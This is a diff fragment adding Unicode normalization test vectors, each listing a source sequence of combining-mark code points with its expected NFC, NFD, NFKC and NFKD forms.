+{ source: [0x0061, 0x3099, 0x093C, 0x0334, 0x116B7, 0x0062], NFC: [0x0061, 0x0334, 0x093C, 0x116B7, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x093C, 0x116B7, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x093C, 0x116B7, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x093C, 0x116B7, 0x3099, 0x0062] },
+{ source: [0x0061, 0x116B7, 0x3099, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x0334, 0x116B7, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x0334, 0x116B7, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x0334, 0x116B7, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x0334, 0x116B7, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x1172B, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x1172B, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x1172B, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x1172B, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x11C3F, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x11C3F, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x11C3F, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x11C3F, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x16AF0, 0x0062], NFC: [0x0061, 0x0334, 0x16AF0, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16AF0, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF0, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF0, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16AF0, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x16AF0, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x16AF0, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x16AF0, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x16AF0, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x16AF1, 0x0062], NFC: [0x0061, 0x0334, 0x16AF1, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16AF1, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF1, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF1, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16AF1, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x16AF1, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x16AF1, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x16AF1, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x16AF1, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x16AF2, 0x0062], NFC: [0x0061, 0x0334, 0x16AF2, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16AF2, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF2, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF2, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16AF2, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x16AF2, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x16AF2, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x16AF2, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x16AF2, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x16AF3, 0x0062], NFC: [0x0061, 0x0334, 0x16AF3, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16AF3, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF3, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF3, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16AF3, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x16AF3, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x16AF3, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x16AF3, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x16AF3, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x16AF4, 0x0062], NFC: [0x0061, 0x0334, 0x16AF4, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x16AF4, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x16AF4, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x16AF4, 0x093C, 0x0062] },
+{ source: [0x0061, 0x16AF4, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x16AF4, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x16AF4, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x16AF4, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x16AF4, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B30, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B30, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B30, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B30, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B30, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B31, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B31, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B31, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B31, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B31, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B32, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B32, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B32, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B32, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B32, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B33, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B33, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B33, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B33, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B33, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B34, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B34, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B34, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B34, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B34, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B35, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B35, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B35, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B35, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B35, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x16B36, 0x0062], NFC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x16B36, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x16B36, 0x0315, 0x0062] },
+{ source: [0x0061, 0x16B36, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x16B36, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1BC9E, 0x0062], NFC: [0x0061, 0x0334, 0x1BC9E, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1BC9E, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1BC9E, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1BC9E, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1BC9E, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1BC9E, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1BC9E, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1BC9E, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1BC9E, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D165, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D165, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D165, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D165, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D166, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D166, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D166, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D166, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1D167, 0x0062], NFC: [0x0061, 0x0334, 0x1D167, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1D167, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1D167, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1D167, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1D167, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1D167, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1D167, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1D167, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1D167, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1D168, 0x0062], NFC: [0x0061, 0x0334, 0x1D168, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1D168, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1D168, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1D168, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1D168, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1D168, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1D168, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1D168, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1D168, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x093C, 0x0334, 0x1D169, 0x0062], NFC: [0x0061, 0x0334, 0x1D169, 0x093C, 0x0062], NFD: [0x0061, 0x0334, 0x1D169, 0x093C, 0x0062], NFKC: [0x0061, 0x0334, 0x1D169, 0x093C, 0x0062], NFKD: [0x0061, 0x0334, 0x1D169, 0x093C, 0x0062] },
+{ source: [0x0061, 0x1D169, 0x093C, 0x0334, 0x0062], NFC: [0x0061, 0x1D169, 0x0334, 0x093C, 0x0062], NFD: [0x0061, 0x1D169, 0x0334, 0x093C, 0x0062], NFKC: [0x0061, 0x1D169, 0x0334, 0x093C, 0x0062], NFKD: [0x0061, 0x1D169, 0x0334, 0x093C, 0x0062] },
+{ source: [0x0061, 0x05AE, 0x1D16D, 0x302E, 0x1D16D, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x1D16D, 0x05AE, 0x1D16D, 0x302E, 0x0062], NFC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKC: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062], NFKD: [0x0061, 0x302E, 0x1D16D, 0x1D16D, 0x05AE, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D16E, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16E, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D16E, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16E, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D16F, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D16F, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D16F, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D16F, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D170, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D170, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D170, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D170, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D171, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D171, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D171, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D171, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x302A, 0x031B, 0x1DCE, 0x1D172, 0x0062], NFC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x031B, 0x1D172, 0x302A, 0x0062] },
+{ source: [0x0061, 0x1D172, 0x302A, 0x031B, 0x1DCE, 0x0062], NFC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFKC: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062], NFKD: [0x0061, 0x1DCE, 0x1D172, 0x031B, 0x302A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17B, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17B, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17B, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17B, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17C, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17C, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17C, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17D, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17D, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17E, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17E, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D17F, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D17F, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D17F, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D17F, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D180, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D180, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D180, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D180, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D181, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D181, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D181, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D181, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x1D182, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x1D182, 0x059A, 0x0062] },
+{ source: [0x0061, 0x1D182, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x1D182, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x1D185, 0x0062], NFC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x1D185, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x1D185, 0x0315, 0x0062] },
+{ source: [0x0061, 0x1D185, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x1D185, 0x0300, 0x0315, 0x0062] },
